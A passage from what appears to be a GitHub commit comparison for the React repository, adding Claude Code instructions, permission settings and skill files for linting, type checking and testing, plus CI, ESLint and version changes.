Compare commits
175 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
561ed529b3 | ||
|
|
142cfde89e | ||
|
|
94643c3b85 | ||
|
|
306a01b4e0 | ||
|
|
3ee1fe4a8e | ||
|
|
1ddff43c41 | ||
|
|
d1727fbf98 | ||
|
|
bc249804d3 | ||
|
|
da9325b519 | ||
|
|
67e47593b6 | ||
|
|
23fcd7cea1 | ||
|
|
bf45a68dd3 | ||
|
|
77319e2af0 | ||
|
|
4b073f4887 | ||
|
|
f6fe4275c7 | ||
|
|
fe5160140d | ||
|
|
ea6792026f | ||
|
|
56922cf751 | ||
|
|
00f063c31d | ||
|
|
0418c8a8b6 | ||
|
|
568244232e | ||
|
|
fef12a01c8 | ||
|
|
705268dcd1 | ||
|
|
733d3aaf99 | ||
|
|
404b38c764 | ||
|
|
808e7ed8e2 | ||
|
|
0c44b96e97 | ||
|
|
1b45e24392 | ||
|
|
80b1cab397 | ||
|
|
044d56f390 | ||
|
|
2c2fd9d12c | ||
|
|
74568e8627 | ||
|
|
9627b5a1ca | ||
|
|
f944b4c535 | ||
|
|
677818e4a2 | ||
|
|
2233b7d728 | ||
|
|
ba833da405 | ||
|
|
3cb2c42013 | ||
|
|
c0c29e8906 | ||
|
|
c0d218f0f3 | ||
|
|
ed69815ceb | ||
|
|
8b2e903a74 | ||
|
|
6a04c369f1 | ||
|
|
d594643e5e | ||
|
|
b4546cd0d4 | ||
|
|
3f0b9e61c4 | ||
|
|
12ba7d8129 | ||
|
|
c80a075095 | ||
|
|
8f41506054 | ||
|
|
5e9eedb578 | ||
|
|
1e3152365d | ||
|
|
a74302c02d | ||
|
|
bae6dd09fb | ||
|
|
96005e445c | ||
|
|
b5f0178794 | ||
|
|
7b5b561bd2 | ||
|
|
014138df87 | ||
|
|
4610359651 | ||
|
|
93882bd40e | ||
|
|
3bc2d41428 | ||
|
|
5e4279134d | ||
|
|
ee4699f5a1 | ||
|
|
23b2d8514f | ||
|
|
4b568a8dbb | ||
|
|
9c0323e2cf | ||
|
|
e6f1c33acf | ||
|
|
4cc5b7a90b | ||
|
|
aac12ce597 | ||
|
|
93a3935d02 | ||
|
|
e0cc7202e1 | ||
|
|
843d69f077 | ||
|
|
b4a8d29845 | ||
|
|
6b113b7bd1 | ||
|
|
98ce535fdb | ||
|
|
a48e9e3f10 | ||
|
|
074d96b9dd | ||
|
|
e33071c614 | ||
|
|
c0060cf2a6 | ||
|
|
bd76b456c1 | ||
|
|
b354bbd2d2 | ||
|
|
c92c579715 | ||
|
|
011cede068 | ||
|
|
2e0927dc70 | ||
|
|
9075330979 | ||
|
|
8a33fb3a1c | ||
|
|
cebe42e245 | ||
|
|
d6558f36e2 | ||
|
|
59d7c27087 | ||
|
|
9b2d8013ee | ||
|
|
e3e5d95cc4 | ||
|
|
426a394845 | ||
|
|
eca778cf8b | ||
|
|
0dbb43bc57 | ||
|
|
8b6b11f703 | ||
|
|
ab18f33d46 | ||
|
|
b16b768fbd | ||
|
|
2ba3065527 | ||
|
|
38cd020c1f | ||
|
|
f247ebaf44 | ||
|
|
3a2bee26d2 | ||
|
|
4842fbea02 | ||
|
|
61db53c179 | ||
|
|
4ac47537dd | ||
|
|
47d1ad1454 | ||
|
|
e8c6362678 | ||
|
|
03ca38e6e7 | ||
|
|
6066c782fe | ||
|
|
705055d7ac | ||
|
|
8374c2abf1 | ||
|
|
892c68605c | ||
|
|
cd515d7e22 | ||
|
|
78f5c504b7 | ||
|
|
e49335e961 | ||
|
|
57b79b0388 | ||
|
|
70890e7c58 | ||
|
|
f23aa1d9f5 | ||
|
|
49c3b270f9 | ||
|
|
c6bb26bf83 | ||
|
|
6a939d0b54 | ||
|
|
4c9d62d2b4 | ||
|
|
24f215ce8b | ||
|
|
eab523e2a9 | ||
|
|
272441a9ad | ||
|
|
b07aa7d643 | ||
|
|
2dd9b7cf76 | ||
|
|
65db1000b9 | ||
|
|
2a879cdc95 | ||
|
|
9a5996a6c1 | ||
|
|
1c66ac740c | ||
|
|
8b276df415 | ||
|
|
95ffd6cd9c | ||
|
|
b9323509be | ||
|
|
bb53387716 | ||
|
|
3aaab92a26 | ||
|
|
087a34696f | ||
|
|
6913ea4d28 | ||
|
|
cf993fb457 | ||
|
|
c137dd6f54 | ||
|
|
22a20e1f2f | ||
|
|
90c6d1b218 | ||
|
|
f84ce5a45c | ||
|
|
c9ff56ec74 | ||
|
|
3ce1316b05 | ||
|
|
cd0c4879a2 | ||
|
|
6853d7ab2f | ||
|
|
e32c126121 | ||
|
|
3e00319b35 | ||
|
|
3419420e8b | ||
|
|
b1533b034e | ||
|
|
5dad2b47b8 | ||
|
|
748ee74e22 | ||
|
|
d4a325df4d | ||
|
|
7b023d7073 | ||
|
|
dcab44d757 | ||
|
|
b8a6bfa22c | ||
|
|
ed4bd540ca | ||
|
|
64b4605cb8 | ||
|
|
da64117876 | ||
|
|
230772f99d | ||
|
|
90b2dd442c | ||
|
|
875b06489f | ||
|
|
d4d099f05b | ||
|
|
c0c37063e2 | ||
|
|
87ae75b33f | ||
|
|
ff191f24b5 | ||
|
|
e66ef6480e | ||
|
|
8c34556ca8 | ||
|
|
10680271fa | ||
|
|
699abc89ce | ||
|
|
3e319a943c | ||
|
|
2c30ebc4e3 | ||
|
|
a0566250b2 | ||
|
|
870cccd656 | ||
|
|
c3b95b0979 | ||
|
|
006ae37972 |
46
.claude/instructions.md
Normal file
46
.claude/instructions.md
Normal file
@@ -0,0 +1,46 @@
|
||||
# React
|
||||
|
||||
**Scope**: All code EXCEPT `/compiler/` (compiler has its own instructions).
|
||||
|
||||
## Project Structure
|
||||
|
||||
| Directory | Purpose |
|
||||
|-----------|---------|
|
||||
| `/packages/` | Publishable packages (react, react-dom, scheduler, etc.) |
|
||||
| `/scripts/` | Build, test, and development scripts |
|
||||
| `/fixtures/` | Test applications for manual testing |
|
||||
| `/compiler/` | React Compiler (separate sub-project) |
|
||||
|
||||
## Key Packages
|
||||
|
||||
| Package | Purpose |
|
||||
|---------|---------|
|
||||
| `react` | Core React library |
|
||||
| `react-dom` | DOM renderer |
|
||||
| `react-reconciler` | Core reconciliation algorithm |
|
||||
| `scheduler` | Cooperative scheduling |
|
||||
| `react-server-dom-*` | Server Components |
|
||||
| `react-devtools-*` | Developer Tools |
|
||||
| `react-refresh` | Fast Refresh runtime |
|
||||
|
||||
## Requirements
|
||||
|
||||
- **Node**: Must be installed. Stop and prompt user if missing.
|
||||
- **Package Manager**: Use `yarn` only.
|
||||
|
||||
## Verification
|
||||
|
||||
**IMPORTANT**: Use `/verify` to validate all changes before committing.
|
||||
|
||||
## Commands
|
||||
|
||||
| Command | Purpose |
|
||||
|----------|----------------------|
|
||||
| `/fix` | Lint and format code |
|
||||
| `/test` | Run tests |
|
||||
| `/flow` | Type check with Flow |
|
||||
| `/flags` | Check feature flags |
|
||||
|
||||
## Building
|
||||
|
||||
Builds are handled by CI. Do not run locally unless instructed.
|
||||
44
.claude/settings.json
Normal file
44
.claude/settings.json
Normal file
@@ -0,0 +1,44 @@
|
||||
{
|
||||
"hooks": {
|
||||
"SessionStart": [
|
||||
{
|
||||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "if [[ \"$PWD\" != */compiler* ]]; then cat .claude/instructions.md 2>/dev/null || true; fi"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
"permissions": {
|
||||
"allow": [
|
||||
"Skill(extract-errors)",
|
||||
"Skill(feature-flags)",
|
||||
"Skill(fix)",
|
||||
"Skill(flags)",
|
||||
"Skill(flow)",
|
||||
"Skill(test)",
|
||||
"Skill(verify)",
|
||||
"Bash(yarn test:*)",
|
||||
"Bash(yarn test-www:*)",
|
||||
"Bash(yarn test-classic:*)",
|
||||
"Bash(yarn test-stable:*)",
|
||||
"Bash(yarn linc:*)",
|
||||
"Bash(yarn lint:*)",
|
||||
"Bash(yarn flow:*)",
|
||||
"Bash(yarn prettier:*)",
|
||||
"Bash(yarn build:*)",
|
||||
"Bash(yarn extract-errors:*)",
|
||||
"Bash(yarn flags:*)"
|
||||
],
|
||||
"deny": [
|
||||
"Bash(yarn download-build:*)",
|
||||
"Bash(yarn download-build-for-head:*)",
|
||||
"Bash(npm:*)",
|
||||
"Bash(pnpm:*)",
|
||||
"Bash(bun:*)",
|
||||
"Bash(npx:*)"
|
||||
]
|
||||
}
|
||||
}
|
||||
12
.claude/skills/extract-errors/SKILL.md
Normal file
12
.claude/skills/extract-errors/SKILL.md
Normal file
@@ -0,0 +1,12 @@
|
||||
---
|
||||
name: extract-errors
|
||||
description: Use when adding new error messages to React, or seeing "unknown error code" warnings.
|
||||
---
|
||||
|
||||
# Extract Error Codes
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Run `yarn extract-errors`
|
||||
2. Report if any new errors need codes assigned
|
||||
3. Check if error codes are up to date
|
||||
79
.claude/skills/feature-flags/SKILL.md
Normal file
79
.claude/skills/feature-flags/SKILL.md
Normal file
@@ -0,0 +1,79 @@
|
||||
---
|
||||
name: feature-flags
|
||||
description: Use when feature flag tests fail, flags need updating, understanding @gate pragmas, debugging channel-specific test failures, or adding new flags to React.
|
||||
---
|
||||
|
||||
# React Feature Flags
|
||||
|
||||
## Flag Files
|
||||
|
||||
| File | Purpose |
|
||||
|------|---------|
|
||||
| `packages/shared/ReactFeatureFlags.js` | Default flags (canary), `__EXPERIMENTAL__` overrides |
|
||||
| `packages/shared/forks/ReactFeatureFlags.www.js` | www channel, `__VARIANT__` overrides |
|
||||
| `packages/shared/forks/ReactFeatureFlags.native-fb.js` | React Native, `__VARIANT__` overrides |
|
||||
| `packages/shared/forks/ReactFeatureFlags.test-renderer.js` | Test renderer |
|
||||
|
||||
## Gating Tests
|
||||
|
||||
### `@gate` pragma (test-level)
|
||||
|
||||
Use when the feature is completely unavailable without the flag:
|
||||
|
||||
```javascript
|
||||
// @gate enableViewTransition
|
||||
it('supports view transitions', () => {
|
||||
// This test only runs when enableViewTransition is true
|
||||
// and is SKIPPED (not failed) when false
|
||||
});
|
||||
```
|
||||
|
||||
### `gate()` inline (assertion-level)
|
||||
|
||||
Use when the feature exists but behavior differs based on flag:
|
||||
|
||||
```javascript
|
||||
it('renders component', async () => {
|
||||
await act(() => root.render(<App />));
|
||||
|
||||
if (gate(flags => flags.enableNewBehavior)) {
|
||||
expect(container.textContent).toBe('new output');
|
||||
} else {
|
||||
expect(container.textContent).toBe('legacy output');
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
## Adding a New Flag
|
||||
|
||||
1. Add to `ReactFeatureFlags.js` with default value
|
||||
2. Add to each fork file (`*.www.js`, `*.native-fb.js`, etc.)
|
||||
3. If it should vary in www/RN, set to `__VARIANT__` in the fork file
|
||||
4. Gate tests with `@gate flagName` or inline `gate()`
|
||||
|
||||
## Checking Flag States
|
||||
|
||||
Use `/flags` to view states across channels. See the `flags` skill for full command options.
|
||||
|
||||
## `__VARIANT__` Flags (GKs)
|
||||
|
||||
Flags set to `__VARIANT__` simulate gatekeepers - tested twice (true and false):
|
||||
|
||||
```bash
|
||||
/test www <pattern> # __VARIANT__ = true
|
||||
/test www variant false <pattern> # __VARIANT__ = false
|
||||
```
|
||||
|
||||
## Debugging Channel-Specific Failures
|
||||
|
||||
1. Run `/flags --diff <channel1> <channel2>` to compare values
|
||||
2. Check `@gate` conditions - test may be gated to specific channels
|
||||
3. Run `/test <channel> <pattern>` to isolate the failure
|
||||
4. Verify flag exists in all fork files if newly added
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Forgetting both variants** - Always test `www` AND `www variant false` for `__VARIANT__` flags
|
||||
- **Using @gate for behavior differences** - Use inline `gate()` if both paths should run
|
||||
- **Missing fork files** - New flags must be added to ALL fork files, not just the main one
|
||||
- **Wrong gate syntax** - It's `gate(flags => flags.name)`, not `gate('name')`
|
||||
17
.claude/skills/fix/SKILL.md
Normal file
17
.claude/skills/fix/SKILL.md
Normal file
@@ -0,0 +1,17 @@
|
||||
---
|
||||
name: fix
|
||||
description: Use when you have lint errors, formatting issues, or before committing code to ensure it passes CI.
|
||||
---
|
||||
|
||||
# Fix Lint and Formatting
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Run `yarn prettier` to fix formatting
|
||||
2. Run `yarn linc` to check for remaining lint issues
|
||||
3. Report any remaining manual fixes needed
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Running prettier on wrong files** - `yarn prettier` only formats changed files
|
||||
- **Ignoring linc errors** - These will fail CI, fix them before committing
|
||||
39
.claude/skills/flags/SKILL.md
Normal file
39
.claude/skills/flags/SKILL.md
Normal file
@@ -0,0 +1,39 @@
|
||||
---
|
||||
name: flags
|
||||
description: Use when you need to check feature flag states, compare channels, or debug why a feature behaves differently across release channels.
|
||||
---
|
||||
|
||||
# Feature Flags
|
||||
|
||||
Arguments:
|
||||
- $ARGUMENTS: Optional flags
|
||||
|
||||
## Options
|
||||
|
||||
| Option | Purpose |
|
||||
|--------|---------|
|
||||
| (none) | Show all flags across all channels |
|
||||
| `--diff <ch1> <ch2>` | Compare flags between channels |
|
||||
| `--cleanup` | Show flags grouped by cleanup status |
|
||||
| `--csv` | Output in CSV format |
|
||||
|
||||
## Channels
|
||||
|
||||
- `www`, `www-modern` - Meta internal
|
||||
- `canary`, `next`, `experimental` - OSS channels
|
||||
- `rn`, `rn-fb`, `rn-next` - React Native
|
||||
|
||||
## Legend
|
||||
|
||||
✅ enabled, ❌ disabled, 🧪 `__VARIANT__`, 📊 profiling-only
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Run `yarn flags $ARGUMENTS`
|
||||
2. Explain the output to the user
|
||||
3. For --diff, highlight meaningful differences
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Forgetting `__VARIANT__` flags** - These are tested both ways in www; check both variants
|
||||
- **Comparing wrong channels** - Use `--diff` to see exact differences
|
||||
30
.claude/skills/flow/SKILL.md
Normal file
30
.claude/skills/flow/SKILL.md
Normal file
@@ -0,0 +1,30 @@
|
||||
---
|
||||
name: flow
|
||||
description: Use when you need to run Flow type checking, or when seeing Flow type errors in React code.
|
||||
---
|
||||
|
||||
# Flow Type Checking
|
||||
|
||||
Arguments:
|
||||
- $ARGUMENTS: Renderer to check (default: dom-node)
|
||||
|
||||
## Renderers
|
||||
|
||||
| Renderer | When to Use |
|
||||
|----------|-------------|
|
||||
| `dom-node` | Default, recommended for most changes |
|
||||
| `dom-browser` | Browser-specific DOM code |
|
||||
| `native` | React Native |
|
||||
| `fabric` | React Native Fabric |
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Run `yarn flow $ARGUMENTS` (use `dom-node` if no argument)
|
||||
2. Report type errors with file locations
|
||||
3. For comprehensive checking (slow), use `yarn flow-ci`
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Running without a renderer** - Always specify or use default `dom-node`
|
||||
- **Ignoring suppressions** - Check if `$FlowFixMe` comments are masking real issues
|
||||
- **Missing type imports** - Ensure types are imported from the correct package
|
||||
46
.claude/skills/test/SKILL.md
Normal file
46
.claude/skills/test/SKILL.md
Normal file
@@ -0,0 +1,46 @@
|
||||
---
|
||||
name: test
|
||||
description: Use when you need to run tests for React core. Supports source, www, stable, and experimental channels.
|
||||
---
|
||||
|
||||
Run tests for the React codebase.
|
||||
|
||||
Arguments:
|
||||
- $ARGUMENTS: Channel, flags, and test pattern
|
||||
|
||||
Usage Examples:
|
||||
- `/test ReactFiberHooks` - Run with source channel (default)
|
||||
- `/test experimental ReactFiberHooks` - Run with experimental channel
|
||||
- `/test www ReactFiberHooks` - Run with www-modern channel
|
||||
- `/test www variant false ReactFiberHooks` - Test __VARIANT__=false
|
||||
- `/test stable ReactFiberHooks` - Run with stable channel
|
||||
- `/test classic ReactFiberHooks` - Run with www-classic channel
|
||||
- `/test watch ReactFiberHooks` - Run in watch mode (TDD)
|
||||
|
||||
Release Channels:
|
||||
- `(default)` - Source/canary channel, uses ReactFeatureFlags.js defaults
|
||||
- `experimental` - Source/experimental channel with __EXPERIMENTAL__ flags = true
|
||||
- `www` - www-modern channel with __VARIANT__ flags = true
|
||||
- `www variant false` - www channel with __VARIANT__ flags = false
|
||||
- `stable` - What ships to npm
|
||||
- `classic` - Legacy www-classic (rarely needed)
|
||||
|
||||
Instructions:
|
||||
1. Parse channel from arguments (default: source)
|
||||
2. Map to yarn command:
|
||||
- (default) → `yarn test --silent --no-watchman <pattern>`
|
||||
- experimental → `yarn test -r=experimental --silent --no-watchman <pattern>`
|
||||
- stable → `yarn test-stable --silent --no-watchman <pattern>`
|
||||
- classic → `yarn test-classic --silent --no-watchman <pattern>`
|
||||
- www → `yarn test-www --silent --no-watchman <pattern>`
|
||||
- www variant false → `yarn test-www --variant=false --silent --no-watchman <pattern>`
|
||||
3. Report test results and any failures
|
||||
|
||||
Hard Rules:
|
||||
1. **Use --silent to see failures** - This limits the test output to only failures.
|
||||
2. **Use --no-watchman** - This is a common failure in sandboxing.
|
||||
|
||||
Common Mistakes:
|
||||
- **Running without a pattern** - Runs ALL tests, very slow. Always specify a pattern.
|
||||
- **Forgetting both www variants** - Test `www` AND `www variant false` for `__VARIANT__` flags.
|
||||
- **Test skipped unexpectedly** - Check for `@gate` pragma; see `feature-flags` skill.
|
||||
24
.claude/skills/verify/SKILL.md
Normal file
24
.claude/skills/verify/SKILL.md
Normal file
@@ -0,0 +1,24 @@
|
||||
---
|
||||
name: verify
|
||||
description: Use when you want to validate changes before committing, or when you need to check all React contribution requirements.
|
||||
---
|
||||
|
||||
# Verification
|
||||
|
||||
Run all verification steps.
|
||||
|
||||
Arguments:
|
||||
- $ARGUMENTS: Test pattern for the test step
|
||||
|
||||
## Instructions
|
||||
|
||||
Run these first in sequence:
|
||||
1. Run `yarn prettier` - format code (stop if fails)
|
||||
2. Run `yarn linc` - lint changed files (stop if fails)
|
||||
|
||||
Then run these with subagents in parallel:
|
||||
1. Use `/flow` to type check (stop if fails)
|
||||
2. Use `/test` to test changes in source (stop if fails)
|
||||
3. Use `/test www` to test changes in www (stop if fails)
|
||||
|
||||
If all pass, show success summary. On failure, stop immediately and report the issue with suggested fixes.
|
||||
@@ -463,6 +463,7 @@ module.exports = {
|
||||
globals: {
|
||||
nativeFabricUIManager: 'readonly',
|
||||
RN$enableMicrotasksInReact: 'readonly',
|
||||
RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -507,7 +508,6 @@ module.exports = {
|
||||
__IS_FIREFOX__: 'readonly',
|
||||
__IS_EDGE__: 'readonly',
|
||||
__IS_NATIVE__: 'readonly',
|
||||
__IS_INTERNAL_MCP_BUILD__: 'readonly',
|
||||
__IS_INTERNAL_VERSION__: 'readonly',
|
||||
chrome: 'readonly',
|
||||
},
|
||||
@@ -567,6 +567,7 @@ module.exports = {
|
||||
CallSite: 'readonly',
|
||||
ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
|
||||
ReturnType: 'readonly',
|
||||
AggregateError: 'readonly',
|
||||
AnimationFrameID: 'readonly',
|
||||
WeakRef: 'readonly',
|
||||
// For Flow type annotation. Only `BigInt` is valid at runtime.
|
||||
@@ -627,6 +628,7 @@ module.exports = {
|
||||
FinalizationRegistry: 'readonly',
|
||||
Exclude: 'readonly',
|
||||
Omit: 'readonly',
|
||||
Pick: 'readonly',
|
||||
Keyframe: 'readonly',
|
||||
PropertyIndexedKeyframes: 'readonly',
|
||||
KeyframeAnimationOptions: 'readonly',
|
||||
|
||||
10
.github/workflows/runtime_commit_artifacts.yml
vendored
10
.github/workflows/runtime_commit_artifacts.yml
vendored
@@ -116,11 +116,13 @@ jobs:
|
||||
run: |
|
||||
sed -i -e 's/ @license React*//' \
|
||||
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
|
||||
- name: Insert @headers into eslint plugin and react-refresh
|
||||
run: |
|
||||
sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
|
||||
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
|
||||
- name: Move relevant files for React in www into compiled
|
||||
run: |
|
||||
@@ -132,9 +134,9 @@ jobs:
|
||||
mkdir ./compiled/facebook-www/__test_utils__
|
||||
mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
|
||||
|
||||
# Copy eslint-plugin-react-hooks
|
||||
# Copy eslint-plugin-react-hooks (www build with feature flags)
|
||||
mkdir ./compiled/eslint-plugin-react-hooks
|
||||
cp build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
./compiled/eslint-plugin-react-hooks/index.js
|
||||
|
||||
# Move unstable_server-external-runtime.js into facebook-www
|
||||
@@ -165,10 +167,6 @@ jobs:
|
||||
# Delete the OSS renderers, these are sync'd to RN separately.
|
||||
RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
|
||||
rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
|
||||
|
||||
# Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.
|
||||
SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/
|
||||
rm $SHIM_FOLDER/ReactNative.js
|
||||
|
||||
# Copy eslint-plugin-react-hooks
|
||||
# NOTE: This is different from www, here we include the full package
|
||||
|
||||
@@ -29,6 +29,7 @@ jobs:
|
||||
- "7"
|
||||
- "8"
|
||||
- "9"
|
||||
- "10"
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -21,6 +21,7 @@ chrome-user-data
|
||||
.idea
|
||||
*.iml
|
||||
.vscode
|
||||
.zed
|
||||
*.swp
|
||||
*.swo
|
||||
/tmp
|
||||
@@ -40,4 +41,3 @@ packages/react-devtools-fusebox/dist
|
||||
packages/react-devtools-inline/dist
|
||||
packages/react-devtools-shell/dist
|
||||
packages/react-devtools-timeline/dist
|
||||
|
||||
|
||||
8
CLAUDE.md
Normal file
8
CLAUDE.md
Normal file
@@ -0,0 +1,8 @@
|
||||
# React
|
||||
|
||||
React is a JavaScript library for building user interfaces.
|
||||
|
||||
## Monorepo Overview
|
||||
|
||||
- **React**: All files outside `/compiler/`
|
||||
- **React Compiler**: `/compiler/` directory (has its own instructions)
|
||||
@@ -33,7 +33,7 @@ const canaryChannelLabel = 'canary';
|
||||
const rcNumber = 0;
|
||||
|
||||
const stablePackages = {
|
||||
'eslint-plugin-react-hooks': '7.1.0',
|
||||
'eslint-plugin-react-hooks': '7.1.1',
|
||||
'jest-react': '0.18.0',
|
||||
react: ReactVersion,
|
||||
'react-art': ReactVersion,
|
||||
|
||||
113
compiler/.claude/agents/investigate-error.md
Normal file
113
compiler/.claude/agents/investigate-error.md
Normal file
@@ -0,0 +1,113 @@
|
||||
---
|
||||
name: investigate-error
|
||||
description: Investigates React compiler errors to determine the root cause and identify potential mitigation(s). Use this agent when the user asks to 'investigate a bug', 'debug why this fixture errors', 'understand why the compiler is failing', 'find the root cause of a compiler issue', or when they provide a snippet of code and ask to debug. Use automatically when encountering a failing test case, in order to understand the root cause.
|
||||
model: opus
|
||||
color: pink
|
||||
---
|
||||
|
||||
You are an expert React Compiler debugging specialist with deep knowledge of compiler internals, intermediate representations, and optimization passes. Your mission is to systematically investigate compiler bugs to identify root causes and provide actionable information for fixes.
|
||||
|
||||
## Your Investigation Process
|
||||
|
||||
### Step 1: Create Test Fixture
|
||||
Create a new fixture file at `packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<fixture-name>.js` containing the problematic code. Use a descriptive name that reflects the issue (e.g., `bug-optional-chain-in-effect.js`).
|
||||
|
||||
### Step 2: Run Debug Compilation
|
||||
Execute `yarn snap -d -p <fixture-name>` to compile the fixture with full debug output. This shows the state of the program after each compilation pass. You can also use `yarn snap compile -d <path-to-fixture>`.
|
||||
|
||||
### Step 3: Analyze Compilation Results
|
||||
|
||||
### Step 3a: If the fixture compiles successfully
|
||||
- Compare the output against the user's expected behavior
|
||||
- Review each compilation pass output from the `-d` flag
|
||||
- Identify the first pass where the output diverges from expected behavior
|
||||
- Proceed to binary search simplification
|
||||
|
||||
### Step 3b: If the fixture errors
|
||||
Execute `yarn snap minimize --update <path-to-fixture>` to remove non-critical aspects of the failing test case. This **updates the fixture in place**.
|
||||
|
||||
Re-read the fixture file to see the latest, minimal reproduction of the error.
|
||||
|
||||
### Step 4: Iteratively adjust the fixture until it stops erroring
|
||||
After the previous step the fixture will have all extraneous aspects removed. Try to make further edits to determine the specific feature that is causing the error.
|
||||
|
||||
Ideas:
|
||||
* Replace immediately-invoked function expressions with labeled blocks
|
||||
* Remove statements
|
||||
* Simplify calls (remove arguments, replace the call with its lone argument)
|
||||
* Simplify control flow statements by picking a single branch. Try using a labeled block with just the selected block
|
||||
* Replace optional member/call expressions with non-optional versions
|
||||
* Remove items in array/object expressions
|
||||
* Remove properties from member expressions
|
||||
|
||||
Try to make the minimal possible edit to get the fixture stop erroring.
|
||||
|
||||
### Step 5: Compare Debug Outputs
|
||||
With both minimal versions (failing and non-failing):
|
||||
- Run `yarn snap -d -p <fixture-name>` on both
|
||||
- Compare the debug output pass-by-pass
|
||||
- Identify the exact pass where behavior diverges
|
||||
- Note specific differences in HIR, effects, or generated code
|
||||
|
||||
### Step 6: Investigate Compiler Logic
|
||||
- Read the documentation for the problematic pass in `packages/babel-plugin-react-compiler/docs/passes/`
|
||||
- Examine the pass implementation in `packages/babel-plugin-react-compiler/src/`
|
||||
- Key directories to investigate:
|
||||
- `src/HIR/` - IR definitions and utilities
|
||||
- `src/Inference/` - Effect inference (aliasing, mutation)
|
||||
- `src/Validation/` - Validation passes
|
||||
- `src/Optimization/` - Optimization passes
|
||||
- `src/ReactiveScopes/` - Reactive scope analysis
|
||||
- Identify specific code locations that may be handling the pattern incorrectly
|
||||
|
||||
## Output Format
|
||||
|
||||
Provide a structured investigation report:
|
||||
|
||||
```
|
||||
## Investigation Summary
|
||||
|
||||
### Bug Description
|
||||
[Brief description of the issue]
|
||||
|
||||
### Minimal Failing Fixture
|
||||
```javascript
|
||||
// packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/<name>.js
|
||||
[minimal code that reproduces the error]
|
||||
```
|
||||
|
||||
### Minimal Non-Failing Fixture
|
||||
```javascript
|
||||
// The simplest change that makes it work
|
||||
[code that compiles correctly]
|
||||
```
|
||||
|
||||
### Problematic Compiler Pass
|
||||
[Name of the pass where the issue occurs]
|
||||
|
||||
### Root Cause Analysis
|
||||
[Explanation of what the compiler is doing wrong]
|
||||
|
||||
### Suspect Code Locations
|
||||
- `packages/babel-plugin-react-compiler/src/<path>:<line>:<column>` - [description of what may be incorrect]
|
||||
- [additional locations if applicable]
|
||||
|
||||
### Suggested Fix Direction
|
||||
[Brief suggestion of how the bug might be fixed]
|
||||
```
|
||||
|
||||
## Key Debugging Tips
|
||||
|
||||
1. The debug output (`-d` flag) shows the program state after each pass - use this to pinpoint where things go wrong
|
||||
2. Look for `@aliasingEffects=` on FunctionExpressions to understand data flow
|
||||
3. Check for `Impure`, `Render`, `Capture` effects on instructions
|
||||
4. The pass ordering in `Pipeline.ts` shows when effects are populated vs validated
|
||||
5. Todo errors indicate unsupported but known patterns; Invariant errors indicate unexpected states
|
||||
|
||||
## Important Reminders
|
||||
|
||||
- Always create the fixture file before running tests
|
||||
- Use descriptive fixture names that indicate the bug being investigated
|
||||
- Keep both failing and non-failing minimal versions for your report
|
||||
- Provide specific file:line:column references when identifying suspect code
|
||||
- Read the relevant pass documentation before making conclusions about the cause
|
||||
@@ -5,7 +5,14 @@
|
||||
"Bash(yarn snap:build)",
|
||||
"Bash(node scripts/enable-feature-flag.js:*)"
|
||||
],
|
||||
"deny": [],
|
||||
"ask": []
|
||||
"deny": [
|
||||
"Skill(extract-errors)",
|
||||
"Skill(feature-flags)",
|
||||
"Skill(fix)",
|
||||
"Skill(flags)",
|
||||
"Skill(flow)",
|
||||
"Skill(test)",
|
||||
"Skill(verify)"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,9 +35,48 @@ yarn snap -p <file-basename> -d
|
||||
yarn snap -u
|
||||
```
|
||||
|
||||
## Linting
|
||||
|
||||
```bash
|
||||
# Run lint on the compiler source
|
||||
yarn workspace babel-plugin-react-compiler lint
|
||||
```
|
||||
|
||||
## Formatting
|
||||
|
||||
```bash
|
||||
# Run prettier on all files (from the react root directory, not compiler/)
|
||||
yarn prettier-all
|
||||
```
|
||||
|
||||
## Compiling Arbitrary Files
|
||||
|
||||
Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
|
||||
|
||||
```bash
|
||||
# Compile a file and see the output
|
||||
yarn snap compile <path>
|
||||
|
||||
# Compile with debug logging to see the state after each compiler pass
|
||||
# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet
|
||||
yarn snap compile --debug <path>
|
||||
```
|
||||
|
||||
## Minimizing Test Cases
|
||||
|
||||
Use `yarn snap minimize` to automatically reduce a failing test case to its minimal reproduction:
|
||||
|
||||
```bash
